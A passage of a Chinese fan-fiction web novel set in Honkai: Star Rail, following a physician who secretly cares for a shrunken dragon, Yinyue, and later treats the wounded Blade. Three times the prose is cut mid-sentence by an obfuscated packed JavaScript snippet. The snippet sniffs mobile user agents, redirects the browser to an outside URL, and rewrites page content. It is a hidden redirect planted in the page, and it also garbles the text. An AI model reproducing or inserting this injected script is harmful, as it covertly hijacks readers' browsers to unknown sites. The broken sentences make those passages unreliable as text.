他略微坐直,分散的注意力找到了落点,按住翻来覆去的饮月,把它摆成仰躺的姿势,用指腹轻轻刮过那道缝隙。 饮月突然痉挛了一下,软绵绵地绕在他手上,目光涣散,龙爪用力推拒,不安地扭动。 该不会是被药箱里的瓶瓶罐罐刮伤了吧? 郁沐神情严肃了少许,按住缝隙,过了几秒拿起来细细查看,指腹上没有血迹——不似伤口。 怎么回事? 郁沐再度移下视线,正紧张着,却突然见饮月在他手掌里翻了个儿,尾巴上抬,掩住那道缝隙,眼缘下端的绯红色仿佛烧起来,龙头直接埋进腹部,一丝声音都不肯发出。 龙躯在发热。 郁沐后知后觉反应过来,那道缝隙是什么。 他石化在了原地,只能装作不经意地收回手指,捧着委屈的饮月,不知怎么办才好。 以前没注意过,也刻意强迫自己不去注意,没产生过任何好奇心,以至于如今第一眼没能意识到问题。 “我不是故意的。”郁沐小声道歉,讨好地碰了碰饮月的背部,没得到任何反馈。 完啦,饮月彻底不理人了。 郁沐绞尽脑汁地想再哄哄,谁知被点了名字。 “郁沐。” 郁沐抬头,这才发现研讨已经停了,整个房间里静悄悄的,都在注视他,视线中所包含的信息也并不一致,疑惑、期待、好奇、轻蔑,纷繁复杂,应有尽有。 上首一直聆听、并不发言的医助长翔横看向他:“你的意见呢?” 被打断思路的郁沐抬头,反问:“我可以有意见吗?” “当然,你可以说出你的想法,研讨会本就是为此存在的。”翔横鼓励地笑道。 郁沐瞥了眼掌中不理人的饮月,直接开口:“我有要事要处理,现在可以离席吗?” 翔横的笑容凝固在了脸上,视线从耷拉下的眼皮里投出,从上到下,将郁沐打量了一番。 会议室里的气氛顿时变得很微妙。 坐在翔横左面的人直接站起来,大声斥责道:“成天浑水摸鱼,仗着受将军器重就打压同事破坏规矩,你以为自己真能在前辈面前作威作福了?” 这番话过于熟悉了,郁沐一瞥,是竹辉——他同一个办公室的同僚。 “研讨会允许中途退会的规矩是先代司鼎定下的,没改过,我提出了申请,在等待医助长的回应,很合理。”郁沐看向竹辉:“关你什么事?” “你!”竹辉气急败坏地尖喝一声。 “算了吧竹辉,人家说了有急事。”一旁的丹士出言阻止。 “反正他在不在也一样,我们讨论的病例他也没听,一直在桌子底下不知道干嘛……” “要我说,没兴趣为什么要来。” “这年头蹭进度混日子的比比皆是吧。” “嘘,医助长脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809812|157893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好了,少说几句。” “……” 窃窃私语如同嗡鸣,不待郁沐听清,就被掌中尾巴划过的触感勾走了注意力。 饮月的尾巴正在他小臂上扫动,因为躯体变化,尾尖钻进袖口,鳞片刮着绷带,手中的重量逐渐增加。 好像变大了。 不是好像…… 是真的变大了! 确认了饮月的体积比先前大了一小圈、已经需要双手捧着的郁沐顿时惊愕。 这条持明在干什么?!它要在这里恢复原身吗? 郁沐心道不好,猛地站起,侧身,挡住众人的视线,匆忙道:“我有事,先走了。” 话毕,他夺门而出,开门时候不慎,还撞倒了两个矮凳。 走廊上空无一人,好在没人。 郁沐抓起药箱,为了以防万一,他在来时已经将手提箱里的东西全部清空,这时正好可以把饮月塞进去。 短短十几秒,饮月的身体已经有来时三四倍大,龙身的宽度足有两拳。 饮月不大舒适,拼命扭动,尾巴从包里伸出来,甩了郁沐一脸水。 “安静点,马上带你去没人的地方。”郁沐压低声线,语速飞快,他试图合上了拉链,但龙角卡住了。 塞不进去!! 他又想再努力一下,身后却突然传来声音。 “郁沐,请等等。” 郁沐精神一凛,将拉链卡在龙角的根部,勉强掩住龙身,提起药箱,遮在身后,全程没让对方看清他手里的东西。 是医助长翔横。 翔横靠着门边的手扶柜,圆框的轻薄眼镜架在鼻梁上,面容慈祥,有着相当深厚的学究气质。他递给郁沐一张打印好的纸张,简明扼要地写着一道关于丹方的题目。 「……原方为黄石粉、岐黄地衣、古海珊瑚、绥园冥莲……在此药方中增加何种药材,能压制岐黄地衣伴生的眩晕失神作用?」 这个药方? 看着熟悉的四味药材,郁沐手指一僵,不小心在纸面上留下了一道月牙状的掐痕。 这是绯权研究出的、针对「充盈极乐散」的解药配方,虽然他在后续进行过部分药材的微调,但基本成分是没变过的,且他还未公布有关充盈极乐散的资料,正常来说,翔横不应该知道。 郁沐仔细咀嚼这短短的几个字。 压制岐黄地衣的眩晕失神作用? 解药中最重要的就是岐黄地衣,如果增加能压制岐黄地衣的药材,解药就会失效,甚至变成毒药。 这是一道用心险恶的问题,且与今天那乏善可陈的研讨会上的内容没有半点关系。 拙劣的试探。 “恕我才疏学浅,无法解答。”郁沐将纸递还回去,可翔横没接。 “没关系,我看得出来,你是个可造之材。”翔横露出欣慰的微笑,一字一顿道:“希望我们有一天可以一起共事,郁沐……后辈。” 郁沐没给回应,转身就走,步伐越来越快,最后甚至跑了起来。 药箱的皮层传来咔咔的崩裂声,像是有什么东西在横冲直撞,即将破土而出。 “可恶,非要耽误我一分钟的时间。” 郁沐腹诽着,随意找了一间休息室,冲入门中,确认无人,立刻反锁。他手刚碰到拉链,只见药箱嘭地爆开,两米身长的饮月嗷一嗓子,重重落地,把郁沐正面扑倒。 云吟之术不受控制,将他从头到脚浇了个遍。 “……” 饮月把他洗这么干净是要下锅吗? 郁沐仰天,不知所措地盯着天花板,思绪放空。 没过几秒,察觉到衣服下的异样,伸手,忍受衣服湿答答的贴身感,将已经悄悄探进他衣摆的龙尾巴抓住,抽出来。 直至此时,他好像明白饮月一天来奇怪的原因所在了——持明是不能吃怪东西的,吮也不可以,至于如何界定怪东西…… 郁沐自己就是最烈的怪东西。 11.第11章 饮月在地上扑腾,云吟之水漫过地面,积起薄薄一层,它看起来有些难受,神色恹恹,眼睛却不离郁沐。 “这样下去不行,吃点药吧。”郁沐半蹲,拎着饮月的尾巴翻看,确认对方的情况。 被饮月吮到的部分叶片汁液里蕴含着丰饶的力量,以直接入口的方式被吸收,效力翻倍,造成了持明如今血气翻涌、无法自控的局面。 郁沐在休息室里转悠,好在这里是丹鼎司,没有药物短缺的困扰,他取了些用得上的药材,着手配药。 研磨杵碾碎风干的血斛花,零星碎片从器皿中掉出去,郁沐伸手去捡,却见饮月垂头在他身旁,上抬的眼中有些许幽怨。 “很快就好了。”郁沐揉了揉饮月的脑袋。 饮月呲了一点水汽,别开头,不理他。 示好被拒绝,郁沐也不挫败,他迅速制好了药丸,掰开饮月的嘴,压在对方舌根处。 “这个能缓解发热的症状,依据你吞下的剂量,再忍耐三天,建木之血的效果就会被彻底排空。” 饮月多半是没听进去话的,它喉咙滚动,吞下药丸后,舌尖微动,咂了咂味道。 “很甜吧,我加了山楂糖衣。”郁沐眼睛一弯,邀功道。 饮月滚了一圈,咬住尾巴,背对郁沐。 还在生气呢,郁沐想。 持明普遍记仇,等它恢复神智,说不定还记得如今这事,到时如果被追问,又要挑什么理由搪塞过去才好呢? 如果不给理由,以丹枫的脾气……他会怎么做呢? 郁沐在脑海里勾勒着丹枫可能出现的反应,可惜,在他的记忆中,丹枫从没有窘迫或难为情的时刻。 持明龙尊永远高洁傲岸,清冷孤独,如同方壶仙舟上万载不化的玄冰,就连他投来的视线,其中蕴含的感情都未曾变过。 可能,还是对方眼下持明的形态更坦诚一些? 郁沐思绪飘得很远,再回过神的时候,饮月的体温已经恢复到了正常水平,他抱起对方,龙尾没什么力气,攀不上他的腰,在空中晃来荡去。 “你得缩小一点,这样我没法带你回家。”郁沐说。 饮月倨傲地抬起下巴,偏头,视线下撇,有种‘你求我’的意思。 “求求你了。”郁沐从善如流道,浅棕色的眼珠流淌着一点点笑意,与往日平淡如水的感觉截然不同。 饮月扭动两下,肉眼可见的缩小了,它攀上郁沐的右手,身躯变得极其细长,从小臂盘到手腕,最后把头埋在郁沐掌心,阖眼休憩。 郁沐松了口气,简单收拾了一下休息室,为自己被持明撑爆的英年早夭的药箱默了几秒哀,便潇洒地出门了。 从行医市集向西,到达观颐台,就可将波月古海纳入眼底,古海恒常,波涛如旧。与往日的寂寥和宁静不同,今天海边支起了一排排帐篷,通往祈龙坛的路上有许多丹士和持明族在交流,各种摊位面前聚集了不少人。 看来这就是持明一家亲的活动会场了,蛮热闹的。 郁沐走下楼梯,直奔活动展台,又或者说,抽奖中心,负责接待的是一位持明少女,她热情洋溢地检查完郁沐的报名信息,捧来一个抽奖箱。 “龙尊稀有版特典没被抽走吧?”郁沐紧张地问。 “目前还没有,您可以试试看,手气很好的话,说不定能抽到至尊限定款呢?”接待员也很激动。 “龙尊一共有几款?”郁沐再次确认。 “历代龙尊的都有,今天还没人抽出龙尊呢。” “至尊限定款又是?”郁沐期待地看着盲盒展示图版。 “保密。”接待员把抽奖箱推到郁沐面前。 郁沐深吸一口气,探进抽奖箱,拿出了一个圆球,交给接待员,接待员对照号码,拿出了一个盲盒。 “快拆快拆!”接待员比郁沐还兴奋。 郁沐飞快拆封,一上手就拿到了尖尖的东西,他呼吸一滞,迅速撕开包装,是两截龙角! “天啊,真是龙尊款特典!”接待员惊呼。 右臂上盘着的饮月透过袖口往外看,不知怎的,用力卷了一下郁沐的胳膊,生疼。 郁沐将特典整个拿出来,摆在桌上看清,神情有些许微妙。 “居然是雨别大人,你运气太好了吧!据说雨别的精度是最高的!”接待员激动道,没过一会,发现郁沐的表情有点纠结,便小心翼翼问:“怎么了,你,不喜欢?” “不算,就是……”谁会喜欢把自己住了一辈子的树屋淹了的家伙呢? 但考虑到雨别也把雨别自己的家淹了,郁沐又产生了微妙的平衡感。 “这个,你喜欢的话就拿走吧,我不太想把雨别摆在家里。”郁沐叹了一口气,不太甘心道:“这里面,有丹枫的限定款吗?” “你也喜欢丹枫大人?”接待员脸上的兴奋被惆怅替代,“很抱歉,丹枫大人……别说这里,哪怕找遍罗浮,你也找不到丹枫大人的款式了。” “为什么?” “因为没人敢给罪人立像,也不知道丹枫大人现在怎么样了,有没有吃饱,睡好,失踪了那么久,要是落到坏人手里可怎么办。”说着,接待员居然小声啜泣了起来。 坏人? “不会的,捡走丹枫的该是好人。”郁沐斩钉截铁道。 “你懂什么!你懂丹枫大人还是我懂丹枫大人,丹枫大人可是吃过我做的快餐棒!我为丹枫大人刷票打榜做应援的时候你还没出生呢,呜呜呜呜。” “可能我不太懂吧,只是……” 郁沐后半句没说出来,心想:你说到快餐棒的时候,你的丹枫大人可是在袖子里狠狠咬了我一口呢,像是被迫想起了什么不太美妙的回忆…… “到底是什么手艺,能把口味统一的战地美食做成只吃一口就怨念一生的程度呢?”郁沐小声嘟哝。 “什么?”接待员狠狠擦了一把鼻涕。 “没什么。” “别看我这样,我以前也是当过丹枫大人后援会会长的持明。”接待员难过地吸了吸鼻子:“只可惜,现在愿意相信丹枫大人初衷不坏的持明已经很少了,毕竟,死在饮月之乱里的护珠人和持明卵不计其数,许多族人再也回不来……” 郁沐垂眸,手伸进右手袖口,捂住了饮月的耳朵,“这尊雨别特典就留给你了。” “你真的不要吗?这可是特典,无论收藏还是转卖都很抢手的。”接待员拦住他。 “不了。”郁沐坚定摇头,转身就走。 实在不是他不礼貌,而是走得再慢点,他的右手臂就要被某条心情不爽的饮月勒成好几截了。 他走到人少的地方,坐在长椅上,解开袖口,压低声音:“你做人和做龙的时候性格为什么差这么多?” 做人时候凌霜傲雪,做龙时候黏黏糊糊,难道是因为没有神志? 那这「不朽」的龙性属实有点太野蛮了。 这个问题饮月必然不会回答,它像是蛟龙缚物,鳞片刮在郁沐手臂,摩擦起来没完没了。 “一个家里只能有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818197|157893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个龙尊,那我腾出来放手办的空位怎么办,龙尊大人,你亲自补上?”郁沐问。 饮月瞥了他一眼,目光高傲,略带凶性。 就这一眼,郁沐便听见自己被击中的声音了,与以往任何时候都不一样,比新叶抽条时更清脆,深刻。 他怔然片刻,随即眉眼一软,手腕一翻,一截深棕色的木料出现在掌心,随后,一把刻刀出现在了他指尖。 他手指用力,在木料上雕刻起来,木屑飞舞,没过一会,一个手持长枪的持明造型便显了出来。 和祈龙坛前的龙尊造像别无二致。 “像吗?”郁沐轻声问。 饮月在衣服里游了一圈,攀到肩膀,从衣领里挤出龙角,施舍般看了一眼,没做表示,又钻了回去。 不反对就是满意,不拒绝就是喜欢,郁沐明白。 他换了刻刀的另一头,打算雕琢一下五官,忽然听见有脚步声接近,一个人站在了他面前。 “你,是那个给景元看病的丹士?” 郁沐闻声抬头,率先吸引他目光的是一对龙角,再辨认面容,是龙师,涛然。 这位龙师额间的双角近看去可没有土生土长的龙尊漂亮,色泽暗沉,夹杂金黄色的杂质。 “你是?”郁沐收了刻刀,将木雕放在一旁,并未起身。 原因无他,饮月此刻正扒在他肩膀上,随便动一下,一个闹不好,这位持明要犯就掉长椅上了。 “龙师涛然,见你在做木雕,造型颇眼熟,便来问一问。”涛然道:“这是「饮月君」丹枫?” 郁沐沉默地盯着涛然,又垂眼,看了看自己连脸都没刻出来的、平平整整的木雕面部。 涛然哪只眼睛看出来的? 他忽然觉得丹枫能忍自说自话的龙师们那么久,也是有点超然天赋的。 “不是,是龙尊雨别。”郁沐道。 他话刚说完,肩膀上就被啃了一口。 涛然眉头一皱,刚要开口,便听郁沐道:“龙师先生,你们持明都爱咬人吗?” 涛然:“?” 这是什么问题,他们持明都很礼貌,不要睁着眼睛乱说。 从对方的神情中解读出答案的郁沐十分失望。 涛然:“你……” “涛然,你在做什么,赶紧过来。” 远处,一声洪钟般的吼声从远处传来,涛然狠狠啧了一声,往回走。 郁沐看去,发现是风浣为首的一群龙师,似乎正要从波月古海渡到祈龙坛,回持明重地商议事宜。 远远的,郁沐看清了以风浣为首的几位龙师额间的龙角,有趣的是,站在后排的龙师们头顶则空空如也。 不知风浣和涛然说了什么,风浣随即朝郁沐这边看了一眼,之后,一行龙师便乘船离开了。 “一,二……五位龙师,数量还真不少。” 郁沐数了数,确认龙师们的面容后,收回视线,重新握上刻刀,一下一下,凿刻雕像的线条。 波月古海的海风非常清爽,海浪层叠翻涌的声音恍惚与记忆中的音符重合,郁沐拂去木屑,感受着饮月心脏跳动的频率,完成手中不算大的工程。 “像吗?”他舒展了下脊背,问道。 这次,饮月没再回他——它睡着了。 郁沐收起刻刀,欣赏了一会自己的作品,揣进兜里,望向一望无际的海面,舒服地闭上了眼睛。 小睡一会吧,在麻烦事到来之前。 毕竟这里阳光很好,风也温柔。 12.第12章 “大人,大人请留步!” 丹鼎司,解散的会议室外,竹辉叫住医助长翔横,他抱着厚厚一沓手写丹方,急切道:“大人,您之前交代的任务,我有了新的成果,如果您愿意……” 翔横微笑,和蔼地抬手,打断了竹辉的自荐:“我知道你想说什么,也钦佩你的努力,但竹辉,你要知道不是所有人都能参悟慈怀药王的神迹,那件事我自有心仪的人选。” 竹辉握着丹方册的手霎时用力,他面容僵硬,嘴角颤动,极力维持着谦恭的姿态:“大人是在说郁沐?” “我有预感,他会是一个相当优秀、忠诚的孩子,他有这个天分。”翔横露出痴迷的神色,转头看向窗外,波月古海的方向。 阳光在他衰老的面容上镀上一层金色,那是一种充满旺盛生命力的光芒。 “所以以后不要总是为难他,好吗,孩子。”翔横笑着斜眼,慈祥的目光如刀,凿刻在竹辉身上。 像是被钉住了,竹辉打了个冷战,他不由自主地低下头,不敢再与翔横对视,只是紧咬牙关,因为用力,腮部的肌肉鼓起,青筋暴起。 一道声音在他脑中循环,歇斯底里地发问:凭什么! 凭什么只有那个家伙能得到赏识,可以不费吹灰之力夺走本属于他的一切。 如果没有郁沐,只要没有郁沐…… “遵命,大人。”竹辉咬牙切齿地回答。 “行了,你也别总纠结这件事,交代你安排的事都办好了吧?我们得尽快,那边已经等不及了……”翔横摸了摸竹辉的头,轻声开口:“不能让客人们失望啊。” “明白。” —— 一连一周,丹鼎司的工作都轻松愉快,没有可疑的嫌犯流窜街巷,没有诡异的案件需要夜半出勤,总是聒噪的同事有了收敛音量的迹象,除了家里的持明噩梦不断,总夜半醒来咬他衣角,一切堪称理想生活。 今天,难得是个清闲的周末,辛苦了一周的郁沐决定好好享受一下假期生活。 一大早起来把家里打扫干净,洗涤剂的香味飘满房间,拉开窗户,清理庭院砖缝中生长出的杂草和落叶,做完这一切,他解下围裙,进屋捉持明。 饮月还在昏昏欲睡,这条持明难得会赖床,绞着郁沐的枕头不放,郁沐思考片刻,觉得该给对方洗个澡了。 毕竟饮月的尾巴总是在扫地。 他转身,进入浴室,在超大浴缸中接满水,点开恒温装置,又拿出化外民研究制作的桂花牛奶助浴球扔进去,没过一会,整个浴缸就飘出淡淡的香甜味。 将没睡醒的饮月抱进浴缸,龙尾自动在水下卷起,乳白色的水面上飘着片片桂花,郁沐望着在浴缸中翻滚的饮月,不太厚道地笑了。 “好像金人巷那家鸡汤鱼头火锅刚端上来的样子。” 话音刚落,饮月一甩尾巴,打了郁沐一身水。 “这可是我今天刚换的衣服。”郁沐跪在浴缸旁边,手指抵着饮月的龙角,将持明轻轻摁进水面下。 没过一会,水面就开始咕噜咕噜冒泡。 “火锅开了。”郁沐小声道。 饮月的尾巴从浴缸尾端探出,一下卷在郁沐脚踝。 郁沐:? 嗖。 尾巴荡起黑影,如同弯折的鱼竿,将岸上还算干净的人类钓进了浴缸里。 砰! 郁沐整个跌进浴缸里,还没等挣扎着爬起来,就被怀里的饮月压了个结结实实。 “喂。”郁沐呛了一大口水,衣服湿漉漉地贴着皮肤,他不自在地拽起湿透的布料,将饮月从水底捞出来,责备似地点着对方的吻尖:“我不是你,我喝水多了会发芽,很危险的。” 饮月懒散地掀起眼皮,上下打量郁沐,没过一会,视线就固定住了。 察觉到对方在看什么,郁沐咳了一声,捂住饮月的眼睛。 “你自己泡吧,我出去买食材,中午想吃什么?” 饮月挣开他的手掌,发出一道短促的龙吟,紧接着就沉到水底去了。 征求饮月的意见多半没用——这是郁沐这一周来的心得,因为对方口味刁钻,专挑贵的吃。 仔细把家里收拾一遍,确保地面光洁如新,饮月在浴缸里最起码能泡两个系统时,在这期间郁沐有很多时间做家务,以及买菜。 托之前那个仙舟持明一家亲的活动的福,郁沐了解到了很多持明的常识——包括如何保养鳞片、日常习惯以及偏好食物。 经他研究,持明族和仙舟人在口味上相差无几,只是前者更偏好新鲜水产。 ‘如何保养鳞片’同样是不大常见的问题,除了龙尊有龙相,其他普通持明的外表与仙舟人大同小异,多半不在意这个问题的答案。 而郁沐费劲千辛万苦找到的实用书里描述的方法,他又不好意思亲手试验。 挎上菜篮子,郁沐在卧室矮柜上抽出几张大面额钞票,数了数剩余的库存,深深意识到自己的贫穷,以及羽偕发他大额奖金的行为究竟有多么慷慨。 “也不知道下个月工资够不够伙食费,再这样下去,就得想办法挣点外快了。” 郁沐想着,走出门去。 从长乐天出发,乘民用星槎进入星槎海中枢,往来行人络绎不绝,自星槎码头沿路向南,赎珠阁以西三百米,是仙舟当地最大的海鲜市场。 郁沐穿梭在各种海鲜排挡的摊位间,步伐轻盈,走到高档水产区,对着惊天高价发了会呆。 “小哥,又来买翔鲟鱼了?今天这批货可是从沉陆海域露莎卡进的,保证新鲜!” 左侧铺位的大哥热情洋溢地来揽郁沐的肩膀。 “哎呦小弟弟,你上次问我的极品石牛颈肉有现货了,我还给你留了一点角胎,这可是平日不卖的好货,就等你来呢!” 右侧的狐人姐姐双手一拍,冲郁沐喊道。 “大夫哥哥,昨天您说想常尝尝看的石笋和枝茸这边有,您还有兴趣买吗?” 正面跑来一个脖子上挂着一串风干鹿茸片的女孩,俏生生地拽着郁沐的衣角,眼巴巴地盼着郁沐。 “还有这边……!” 半个系统时后,郁沐呆呆地拎着十几个袋子,被身后喜笑颜开的店主们推搡出门,耳边缭绕着各种热情饱满的“谢谢惠顾!”“欢迎再来。” 他低头看了看自己空空如也、仿佛被洗劫过的钱包,一时有些许恍惚。 “呦,大兄弟,又买这么多菜,家里几口人啊吃这么多?” 临街一个卖茶叶的铺主笑着从货架后走出,将手中抱着的宣传牌摆好。 “两个。” 郁沐眼熟这个店主,便礼貌地回了一句,视线一挪,落在了小黑板上写着的宣传标语上。 「精选凤舌狩原毛峰促销,买二送一,五盒八折!」 买二送一,五盒八折,相当于六六折再打八折,这就是……呃。 郁沐的脑筋卡顿了一下,略过一系列天书般的计算过程,两个大字浮现在他脑中。 ——纯赚。 察觉到郁沐的视线,茶叶铺主一笑,从货架上拿了样品,打开,展示给郁沐看:“喜欢不妨买点,回家自己喝或者送亲戚同事领导都不错,我家千年老字号,质量有保证的!” “那就……” 郁沐突然想起自己口袋里已经连一枚巡镝都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833358|157893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有了,立刻住嘴,讪讪收脚,提了提手里的袋子们,示意自己没手了。 “没事儿,我这铺子一年到头都开,你想喝了来买就成!”铺主笑着进屋了。 郁沐本打算回家前去请教一下「不夜侯」的老板娘怎么洗掉茶叶里的涩意,但眼下提着食材,去了也是添乱,只好打道回府。 正午时,他终于磨蹭到了家门口,推门,脚步微微一顿。 庭院中的浅池和树木沐浴在阳光里,堂间无声,没有任何异常。 郁沐的心弦立即绷起,视线朝着连接着卧室的外廊落去。 庭院里有一股淡淡的血腥味,极其细微,不易察觉,但逃不过郁沐的感知。 郁沐瞥了眼偏房顶部,是之前倏忽之战中被流矢撞断的房角,许久不注意,裂痕又扩大不少。 鹅卵石地面有几道突兀的空白,看起来像某种利器划过,搅乱了以前的排列方式。 郁沐确认了对方的入侵路线:先从房檐跳下,穿过庭院后进入卧室的,有趣的是,对方并未刻意掩盖痕迹,似乎不担忧被发觉。 郁沐跨过青石板,走到外廊,放下手里贵重的食材们,挽起袖子,打开了卧室门。 率先映入眼帘的是一地血迹。 宛如凶杀案现场的血呈红梅状,洒满地面,出门前叠好的被褥此刻凌乱非常,整齐垒放的药箱被翻了出来,地板上散落各种瓶瓶罐罐。 一个黑发男人盘坐在被褥中央,他上衣半解,露出半边臂膀,腰胯处堆着大团染血的绷带,嘴里叼着一截洁白的棉纱,正笨拙地为自己包扎。 察觉到门开了,他沉默地抬起眼帘,与郁沐对视。 阳光照在他赤色的眼睛上,独特的瞳孔仿若燃烧着的火苗,自有一种锋锐的美感。 一片狼藉中,一把斑驳碎裂的长剑搁在一旁,剑身的裂口处泛着金光,如同流淌着的神血。 郁沐在不速之客脸上没看出任何情绪,有时候,他总觉得自己像在和一只阴郁不快的黑色狸奴对视。 尤其是这个身材不错的黑色狸奴还只露半边眼睛。 就是对方大摇大摆闯进别人家的行径着实目中无人,十分可恶。 不速之客包扎的技术相当稚拙,他赤着的半边肩背除了相当漂亮的肌肉线条外,还烙刻着永不愈合的伤痕,乍一看令人胆战心惊。 努力了几次,在确认无法单手给右臂缠好绷带后,他低下头,将一卷全新的绷带扔给了郁沐,并伸出胳膊,全程没说一句话。 莫名其妙被使唤了的郁沐看了看对方扔在一旁的剑,思索给家里加装防盗门的可行性。 他不想家里变成通缉犯收容所,更不想开一家仙舟动物园。 他的工资只够两个人吃饭,再多,就是另外的价格了。 察觉到郁沐迟迟没动,不速之客终于舍得开口了。 “帮我。” 瞧,这主人般理直气壮的命令口吻。 郁沐上下接抛纱布,思索片刻道:“你有钱付我出诊费吗?” 男人没回应,他像是在发呆,又或者单纯反应慢,直到郁沐叫他,才有一点反应。 “应星。”郁沐催促道。 这两个字像是某种启示,亦或拼凑一具支离破碎的身躯的音节,他眼里的火苗跃动了一下,宛如厄梦中浮出水面的一瞬喘息,很快又归于沉寂。 他看起来更沉默、不可捉摸了。 算了,和魔阴身患者计较什么呢,反正医药费什么的可以转移支付,郁沐想。 账记在云上五骁头上,只要某个持明多发放一些免费摸摸券来回馈他,抵作费用就好了。 他是很好哄的。 13.第13章 应星,又或许该叫他刃,染指丰饶理当被十王判死的工匠,在百死不得后成为一具魂销命留的躯壳,身缠魔阴,心堕泥犁。 刃对郁沐的心理一无所知,他只是端坐在一片狼藉中。 罪魁祸首总自我感觉良好。 “打个商量,虽然你是老客户,但来之前也得预约。”郁沐指着地板上的血迹,语气稍重:“毕竟你把我刚擦的地板弄脏了。” 他思来想去,对方只是魔阴身犯了,不是死了,该说的话还是得说,不然显得他很随便,没有规矩。 刃坐在地板上,面无表情地仰望着郁沐,既没有检讨自己罪行的意思,又没有魔阴缠身即将暴走的征兆,悬抬的手臂从绷带缠缚的伤口下滴出血来。 啪嗒,溅在了郁沐雪白的被子上。 声音清脆。 郁沐:“……:)” 郁沐:“很好。” 察觉到郁沐心情不妙,刃视线下移,注视着那团突兀的血迹,几秒后,他缓慢地伸回手,抱着自己的手臂,低下头,令郁沐只能看清对方下垂的呆毛。 “对不起。”刃用低沉的嗓音道。 呆毛萎靡地贴上漆黑的发丝,融为一体。 被莫名的、欺负病人的负罪感席卷的郁沐:“……” “一会重新拖地的人是我,你怎么还可怜上了。”郁沐超小声地嘟哝,他半跪在刃面前,点了点对方领口的扣子。 “脱掉。” 刃抬起缠满绷带的手,解开半披的外套,胸前的黑色绳结磨损严重,轻轻一掀就断了。 前襟敞开的缝隙下,一道深可见骨的贯穿伤几乎撕裂了对方的胸膛,几道金色的、如同丝线一样的光芒在缓缓蠕动的血肉中闪现,阻止这具躯体自行愈合。 每当伤口试图自愈,丝线就会撕扯创口,将伤势扩大,刺激自愈,再崩裂,循环往复。 郁沐算是知道地上这致死的出血量是从哪来的。 “等等。”郁沐制止了刃的动作。 他从倾倒的药箱里找出处理外伤的工具,剪开刃破碎的衣领,冰冷的金属顺着凹凸不平的前胸下滑,夹杂着碎肉的布片扑簌而落。 他小心翼翼地避开丝线盘踞的伤口,在外侧清创。 “我一直有个问题,你都‘死’那么多次了,怎么衣服还是这一套,质量这么好的?”郁沐边清创边问。 刃一言不发地垂眸,凝视着地板的纹路。 郁沐将剪刀放在一边,动手剥去对方身上已经算不上外套的布片,审度的视线在对方比例优越的身躯上流连。 “如果没钱支付诊金,有兴趣让我切一片做实验吗?” 意料之中,刃不回答。 郁沐有些可惜地扁了扁嘴,突然想到一件事:“你来时候没被人发现吧,我这里还安全吗?” 刃看着他,视线空茫。 郁沐的额头浮起浅浅的青筋,他露出一个得体的冷笑,开口道:“人有五名。” “代价有三个。” 几乎瞬间,刃的眼神变得凌厉、阴郁,他用低沉且意味深长的语气接上郁沐的话,又被郁沐狠狠攥拳,敲了一下脑袋。 咚,呆毛飞了起来,又轻飘飘地垂下。 “你够了。”郁沐谴责道,“再装死,我就把你丢到神策府门口去。” 刃:“……” 郁沐走向工作台,拿出之前为刃配好的压制魔阴身的药物。 对方情况特殊,单是研究药方就花了他不少功夫。 “喝药。”郁沐把口服药递给刃。 刃神情恍惚地看了他一眼,在郁沐的眼神威胁下,仰头喝完,面容一贯冷酷,眉都没蹙一下。 真是孝顺又配合的病人,口感只比泥浆好一丢丢的原药液也能面不改色的下肚,看来不用考虑改良口味了。 郁沐这么想着,从架子上拿了一盒止血的外伤药,重新坐回刃面前。 “你最近和谁打架了,这个伤口不像持明族或者云骑造成的。”郁沐边说边在刃的肩头涂抹药物。 刃想了一会,摇了摇头:“不记得。” “告诫过你不要在魔阴身发作时候出门打架了吧,一个两个怎么都这样,仗着自己有病就乱来。”郁沐用小勺子敲了敲刃的手臂,以示谴责。 “魔阴身发作的时候,我就是另一个人了……”刃悠长低沉地道。 “少来,你搞坏的我这里的每一件家具,我都清清楚楚记在账上了。”郁沐一字一顿:“别想抵赖。” 刃:“……” “我会还的。” 刃低下头,被阴云笼罩的思维似乎清晰了一些。 不知为何,每次接近郁沐,他的魔阴身症状就会好转很多,无论多么汹涌的情绪都会被一股无法触碰的浪波抚平。 郁沐:“要还的话,就先努力记起是怎么把自己弄成这副样子的吧。” 刃闭上眼,脑中支离破碎的记忆如同掠影,怨恨、怅惘、痛苦交织,没过一会,额头就浮了一层细汗。 他在战栗,整个身躯颤抖着,像是被什么东西抓住了。 这时,一只手覆上了他的额头,并不算温暖,只是掌心有少许温度,指腹残留药物的苦涩味道,那味道无比清晰,如同一条坚韧不断的细线,悬住了他的魂灵。 “想起了吗?”耳边的声音平淡、冷静,忽然逼迫他睁开了眼。 